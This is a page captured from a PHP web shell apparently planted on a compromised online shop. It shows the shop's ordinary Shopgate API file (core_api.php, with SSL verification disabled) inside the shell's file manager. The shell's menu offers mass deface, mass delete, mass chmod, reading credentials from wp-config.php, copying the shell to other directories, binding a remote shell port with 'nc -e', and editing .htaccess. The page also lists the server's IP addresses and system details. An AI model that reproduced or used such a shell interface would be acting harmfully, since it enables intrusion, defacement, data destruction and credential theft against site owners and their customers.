WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / shopgate / lib / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/shopgate/lib/core_api.php (2.35 KB)
<?php

/**
 * Oberklasse ShopgateCoreApi-Klasse.
 * 
 * @abstract 
 * 
 * @author Martin Weber (Shopgate GmbH)
 * @version 1.0
 * @package shopgate_framework
 */
abstract class ShopgateCoreApi extends ShopgateFrameworkCore {
	private $config;
	
	private $lastUrl;
	private $lastParams;
	private $lastResponse;
	
	
	/**
	 * Der Konstruktor der ShopgateCoreApi-Klasse. 
	 * Lädt die angegebene Config.
	 * 
	 * ShopgateConfig
	 */
	public function __construct() {
		$this->config = ShopgateConfig::validateAndReturnConfig();
	}
	
	
	/**
	 * Führt für alle abgeleiteten Klassen die Abfragen am Shopgate-Server durch. 
	 * 
	 * @access protected
	 * 
	 * @param function		Die aufgerufene Funktion.
	 * @param array $params1  	Die Parameter der aufgerufenen Funktion.
	 * @param $files
	 * 
	 * @throws ShopgateFrameworkException
	 */
	protected function _execute($function, $params1=array(), $files = null) {
		if(empty($this->config))
			$this->config = ShopgateConfig::validateAndReturnConfig();
		
		$url = $this->config["api_url"];

		if(!preg_match("/\/$/", $url)) $url.="/";
		$url .= $function;
		
		$this->lastUrl = $url;
		$curl = curl_init($url);
		
		curl_setopt($curl, CURLOPT_HEADER, false);
		curl_setopt($curl, CURLOPT_USERAGENT, "ShopgateFramework/" . SHOPGATE_FRAMEWORK_VERSION);
		curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		
		// Daten per post übergeben
		curl_setopt($curl, CURLOPT_POST, true);
		
		$this->lastParams = $params1;
		$this->lastParams['apikey'] = $this->config["apikey"];
		$this->lastParams['customer_number'] = $this->config["customer_number"];
		$this->lastParams['shop_number'] = $this->config["shop_number"];

		curl_setopt($curl, CURLOPT_POSTFIELDS, $this->lastParams);

		$response = curl_exec($curl);
		curl_close($curl);

		if (!$response) throw new ShopgateFrameworkException("No Connection to the Server");
		
		$this->lastResponse = sg_json_decode($response, true);

		if(empty($this->lastResponse)) {
			throw new ShopgateFrameworkException('Error Parsing the Response \n'.print_r($response, true));
		}
		if($this->lastResponse['error'] != 0) {
			throw new ShopgateFrameworkException($this->lastResponse);
		}
		
		return $this->lastResponse;
	}
}

namawaktuukuranownerpermaksi
..
connect_api.php 2013-11-12 21:098.53 KB 76129f60960:kunden-xw-x-----
edt
core_api.php 2013-11-12 21:092.35 KB 76129f60960:kunden-xw-x-----
edt
debug.php 2013-11-12 21:09347 B 76129f60960:kunden-xw-x-----
edt
framework.php 2013-11-12 21:0945.95 KB 76129f60960:kunden-xw-x-----
edt
item_api.php 2013-11-12 21:0920.41 KB 76129f60960:kunden-xw-x-----
edt
order_api.php 2013-11-12 21:0929.51 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/shopgate/lib
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK